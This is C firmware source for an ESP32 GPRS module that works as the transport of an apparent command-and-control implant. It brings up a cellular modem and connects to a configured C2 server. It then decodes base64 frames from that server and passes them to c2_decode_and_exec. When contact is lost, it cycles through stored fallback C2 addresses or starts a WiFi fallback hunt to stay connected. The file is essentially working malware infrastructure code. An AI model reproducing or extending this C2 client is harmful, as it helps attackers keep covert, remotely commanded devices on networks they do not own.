#include #include #include #include #include #include "driver/uart.h" #include "driver/gpio.h" #include "esp_log.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "utils.h" /* CONFIG_*, base64, crypto, command */ #if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK) static const char *TAG = "GPRS"; /* ============================================================ * AT HELPERS * ============================================================ */ static bool at_read(char *buf, size_t size, uint32_t timeout_ms) { int len = uart_read_bytes( UART_NUM, (uint8_t *)buf, size - 1, pdMS_TO_TICKS(timeout_ms) ); if (len <= 0) return false; buf[len] = '\0'; ESP_LOGI(TAG, "AT <- %s", buf); return true; } static bool at_wait_ok(char *buf, size_t size, uint32_t timeout_ms) { return at_read(buf, size, timeout_ms) && strstr(buf, "OK"); } void send_at_command(const char *cmd) { ESP_LOGI(TAG, "AT -> %s", cmd); uart_write_bytes(UART_NUM, cmd, strlen(cmd)); uart_write_bytes(UART_NUM, "\r\n", 2); } /* ============================================================ * UART / MODEM * ============================================================ */ void setup_uart(void) { uart_config_t cfg = { .baud_rate = 9600, .data_bits = UART_DATA_8_BITS, .parity = UART_PARITY_DISABLE, .stop_bits = UART_STOP_BITS_1, .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, }; uart_param_config(UART_NUM, &cfg); uart_set_pin( UART_NUM, TXD_PIN, RXD_PIN, UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE ); uart_driver_install(UART_NUM, BUFF_SIZE * 2, 0, 0, NULL, 0); } void setup_modem(void) { gpio_set_direction(PWR_EN, GPIO_MODE_OUTPUT); gpio_set_direction(PWR_KEY, GPIO_MODE_OUTPUT); gpio_set_direction(RESET, GPIO_MODE_OUTPUT); gpio_set_level(PWR_EN, 1); vTaskDelay(pdMS_TO_TICKS(100)); gpio_set_level(PWR_KEY, 1); vTaskDelay(pdMS_TO_TICKS(100)); gpio_set_level(PWR_KEY, 0); vTaskDelay(pdMS_TO_TICKS(1200)); gpio_set_level(PWR_KEY, 1); vTaskDelay(pdMS_TO_TICKS(3000)); } /* ============================================================ * GSM / GPRS * ============================================================ */ static bool wait_for_gsm(void) { char buf[BUFF_SIZE]; ESP_LOGI(TAG, "Waiting GSM network"); for (int i = 0; i < 30; i++) { send_at_command("AT+CREG?"); if (at_read(buf, sizeof(buf), 2000)) { if (strstr(buf, "+CREG: 0,1") || strstr(buf, "+CREG: 0,5")) { ESP_LOGI(TAG, "GSM registered"); return true; } } vTaskDelay(pdMS_TO_TICKS(2000)); } return false; } bool connect_gprs(void) { char buf[BUFF_SIZE]; if (!wait_for_gsm()) { ESP_LOGE(TAG, "No GSM network"); return false; } send_at_command("AT+CGATT=1"); if (!at_wait_ok(buf, sizeof(buf), 5000)) return false; char cmd[96]; snprintf(cmd, sizeof(cmd), "AT+CSTT=\"%s\",\"\",\"\"", CONFIG_GPRS_APN); send_at_command(cmd); if (!at_wait_ok(buf, sizeof(buf), 3000)) return false; send_at_command("AT+CIICR"); if (!at_wait_ok(buf, sizeof(buf), 8000)) return false; send_at_command("AT+CIFSR"); if (!at_read(buf, sizeof(buf), 5000)) return false; ESP_LOGI(TAG, "IP obtained: %s", buf); return true; } /* ============================================================ * TCP * ============================================================ */ bool connect_tcp_to(const char *ip, int port) { char buf[BUFF_SIZE]; char cmd[128]; ESP_LOGI(TAG, "TCP connect %s:%d", ip, port); send_at_command("AT+CIPMUX=0"); at_wait_ok(buf, sizeof(buf), 2000); snprintf(cmd, sizeof(cmd), "AT+CIPSTART=\"TCP\",\"%s\",\"%d\"", ip, port); send_at_command(cmd); if (!at_read(buf, sizeof(buf), 15000)) return false; if (strstr(buf, "CONNECT OK")) { ESP_LOGI(TAG, "TCP connected"); return true; } ESP_LOGE(TAG, "TCP connection failed"); return false; } bool connect_tcp(void) { return connect_tcp_to(CONFIG_SERVER_IP, CONFIG_SERVER_PORT); } /* ============================================================ * RX HELPERS * ============================================================ */ static bool is_base64_frame(const char *s) { size_t len = strlen(s); if (len < 20) return false; for (size_t i = 0; i < len; i++) { char c = s[i]; if (!(isalnum((unsigned char)c) || c == '+' || c == '/' || c == '=')) { return false; } } return true; } /* ============================================================ * RX — PUSH MODE (ROBUST) * ============================================================ */ void gprs_rx_poll(void) { static char rx_buf[BUFF_SIZE]; static size_t rx_len = 0; int r = uart_read_bytes( UART_NUM, (uint8_t *)(rx_buf + rx_len), sizeof(rx_buf) - rx_len - 1, pdMS_TO_TICKS(200) ); if (r <= 0) return; rx_len += r; rx_buf[rx_len] = '\0'; ESP_LOGD(TAG, "RAW UART RX (%d bytes buffered)", rx_len); ESP_LOGD(TAG, "%s", rx_buf); /* nettoyer CR/LF */ for (size_t i = 0; i < rx_len; i++) { if (rx_buf[i] == '\r' || rx_buf[i] == '\n') rx_buf[i] = '\0'; } /* frame C2 reçue */ if (is_base64_frame(rx_buf)) { ESP_LOGI(TAG, "C2 RAW FRAME: [%s]", rx_buf); c2_decode_and_exec(rx_buf); rx_len = 0; rx_buf[0] = '\0'; } } /* ============================================================ * SEND — ATOMIC FRAME * ============================================================ */ bool gprs_send(const void *buf, size_t len) { char resp[BUFF_SIZE]; char cmd[32]; snprintf(cmd, sizeof(cmd), "AT+CIPSEND=%d", (int)(len + 1)); send_at_command(cmd); if (!at_read(resp, sizeof(resp), 3000) || !strchr(resp, '>')) { ESP_LOGE(TAG, "CIPSEND prompt failed"); return false; } uart_write_bytes(UART_NUM, buf, len); uart_write_bytes(UART_NUM, "\n", 1); uart_write_bytes(UART_NUM, "\x1A", 1); if (!at_read(resp, sizeof(resp), 10000) || !strstr(resp, "SEND OK")) { ESP_LOGE(TAG, "SEND failed"); return false; } ESP_LOGI(TAG, "TCP frame sent (%d bytes)", (int)(len + 1)); return true; } /* ============================================================ * CLOSE * ============================================================ */ void close_tcp_connection(void) { send_at_command("AT+CIPCLOSE"); vTaskDelay(pdMS_TO_TICKS(500)); send_at_command("AT+CIPSHUT"); } /* ============================================================ * CLIENT TASK (GPRS primary mode only) * ============================================================ */ #ifdef CONFIG_NETWORK_GPRS #ifdef CONFIG_MODULE_FALLBACK #include "fb_config.h" #include "fb_hunt.h" extern atomic_bool fb_active; /* Try NVS C2 fallback addresses over GPRS */ static bool try_gprs_fallback_c2s(void) { fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS]; int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS); for (int i = 0; i < count; i++) { char ip_buf[48]; int port = CONFIG_SERVER_PORT; strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1); ip_buf[sizeof(ip_buf) - 1] = '\0'; char *colon = strrchr(ip_buf, ':'); if (colon) { *colon = '\0'; port = atoi(colon + 1); if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT; } ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port); close_tcp_connection(); if (connect_tcp_to(ip_buf, port)) { ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port); return true; } } return false; } #endif /* CONFIG_MODULE_FALLBACK */ void gprs_client_task(void *pvParameters) { ESP_LOGI(TAG, "GPRS client task started"); int tcp_fail_count = 0; #ifdef CONFIG_FB_WIFI_FALLBACK int gprs_dead_count = 0; #endif while (1) { #ifdef CONFIG_MODULE_FALLBACK /* If fallback hunt is active, wait for it to finish */ while (fb_active) { vTaskDelay(pdMS_TO_TICKS(1000)); } #endif /* GPRS attach */ if (!connect_gprs()) { ESP_LOGE(TAG, "GPRS connection failed"); #ifdef CONFIG_FB_WIFI_FALLBACK gprs_dead_count++; ESP_LOGW(TAG, "GPRS dead count: %d/%d", gprs_dead_count, CONFIG_FB_GPRS_FAIL_THRESHOLD); if (gprs_dead_count >= CONFIG_FB_GPRS_FAIL_THRESHOLD) { ESP_LOGW(TAG, "GPRS dead — triggering WiFi fallback hunt"); fb_hunt_set_skip_gprs(true); fb_hunt_trigger(); gprs_dead_count = 0; continue; } #endif setup_modem(); vTaskDelay(pdMS_TO_TICKS(5000)); continue; } #ifdef CONFIG_FB_WIFI_FALLBACK gprs_dead_count = 0; #endif /* TCP connect to C2 */ if (!connect_tcp()) { tcp_fail_count++; ESP_LOGW(TAG, "TCP connect failed (%d consecutive)", tcp_fail_count); #ifdef CONFIG_MODULE_FALLBACK if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD) { /* Level 1: try NVS C2 fallback addresses over GPRS */ if (try_gprs_fallback_c2s()) { tcp_fail_count = 0; goto handshake; } /* Modem restart */ ESP_LOGW(TAG, "All C2 unreachable — modem restart"); close_tcp_connection(); setup_modem(); tcp_fail_count = 0; } #endif vTaskDelay(pdMS_TO_TICKS(5000)); continue; } tcp_fail_count = 0; #ifdef CONFIG_MODULE_FALLBACK handshake: #endif /* Handshake */ msg_info(TAG, CONFIG_DEVICE_ID, NULL); ESP_LOGI(TAG, "Handshake sent"); while (1) { gprs_rx_poll(); vTaskDelay(pdMS_TO_TICKS(10)); } } } #endif /* CONFIG_NETWORK_GPRS */ #endif /* CONFIG_NETWORK_GPRS || CONFIG_FB_GPRS_FALLBACK */